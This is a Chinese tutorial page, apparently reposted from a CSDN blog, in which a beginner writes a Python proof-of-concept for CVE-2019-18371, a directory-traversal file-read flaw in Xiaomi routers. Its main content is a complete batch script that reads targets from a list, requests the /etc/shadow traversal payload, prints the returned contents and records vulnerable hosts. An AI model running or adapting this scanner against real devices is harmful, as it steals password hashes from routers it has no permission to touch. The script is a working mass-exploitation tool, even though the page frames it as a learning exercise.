脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - Python - 用Python写漏洞验证脚本的代码

用Python写漏洞验证脚本的代码

2022-09-16 10:58再也没有留恋的斜阳 Python

这篇文章主要介绍了用Python写漏洞验证脚本,本文给大家分享完整实例代码,代码简单易懂,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

小白尝试写任意文件读取poc

我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。

我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看

小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。

写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd

域名和payload拼接如下

?
1
2
3
4
5
6
7
8
9
10
import requests
import time
def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    poc_check(poc_xiaomi)

图片如下

用Python写漏洞验证脚本的代码

拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
 
def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
        try:
            print("再也没有留恋的斜阳")
            print("正在检测:")
            print(poc_url)
            poc_data=requests.get(poc_url)
            if poc_data.status_code==200:
                print(poc_data.content.decode('utf-8'))
                with open(r'xiaomivuln.txt','a+') as f:
                    f.write(poc_url+'\n')
                    f.close()
        except Exception as e:
            time.sleep(0.1)
            pass
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
    poc_check(poc_xiaomi)
    # poc_check(poc_xiaomi1)

用Python写漏洞验证脚本的代码

写完了,我太水了的是照着别人写的

到此这篇关于用Python写漏洞验证脚本的文章就介绍到这了,更多相关Python验证脚本内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://blog.csdn.net/qq_46258964/article/details/122791108

延伸 · 阅读

精彩推荐
  • Python使用python3调用wxpy模块监控linux日志并定时发送消息给群组或好友

    使用python3调用wxpy模块监控linux日志并定时发送消息给群组或好友

    这篇文章主要介绍了使用python3调用wxpy模块,监控linux日志并定时发送消息给群组或好友,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价...

    荣晓11722021-07-02
  • PythonPython学习笔记之pandas索引列、过滤、分组、求和功能示例

    Python学习笔记之pandas索引列、过滤、分组、求和功能示例

    这篇文章主要介绍了Python学习笔记之pandas索引列、过滤、分组、求和功能,结合实例形式分析了Python针对抓取保存的csv数据使用pandas进行索引列、过滤、分组...

    学习笔记6664242021-07-01
  • Pythonpython实现在一个画布上画多个子图

    python实现在一个画布上画多个子图

    今天小编就为大家分享一篇python实现在一个画布上画多个子图,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧 ...

    中小学生38122020-04-12
  • Pythonpytest之assert断言的具体使用

    pytest之assert断言的具体使用

    这篇文章主要介绍了pytest之assert断言的具体使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面...

    阿刁阿9902021-10-11
  • Pythonpython format 格式化输出方法

    python format 格式化输出方法

    今天小编就为大家分享一篇python format 格式化输出方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    bitcarmanlee13282021-03-17
  • PythonPython中的变量赋值

    Python中的变量赋值

    这篇文章主要介绍了Python中的变量赋值,Python中的变量在使用中很流畅,可以不关注类型,任意赋值,对于开发来说效率得到了提升,但不了解其中的机理...

    真的会了吗10012022-01-22
  • PythonPython中实现ipaddress网络地址的处理

    Python中实现ipaddress网络地址的处理

    ipaddress库提供了处理IPv4与IPv6网络地址的类。这些类支持验证,查找网络上的地址和主机,以及其他常见的操作,本文就来介绍一下这些方法的使用,感兴...

    一天一篇Python库6562021-11-25
  • Pythonspark: RDD与DataFrame之间的相互转换方法

    spark: RDD与DataFrame之间的相互转换方法

    今天小编就为大家分享一篇spark: RDD与DataFrame之间的相互转换方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...

    birdlove198715162021-03-01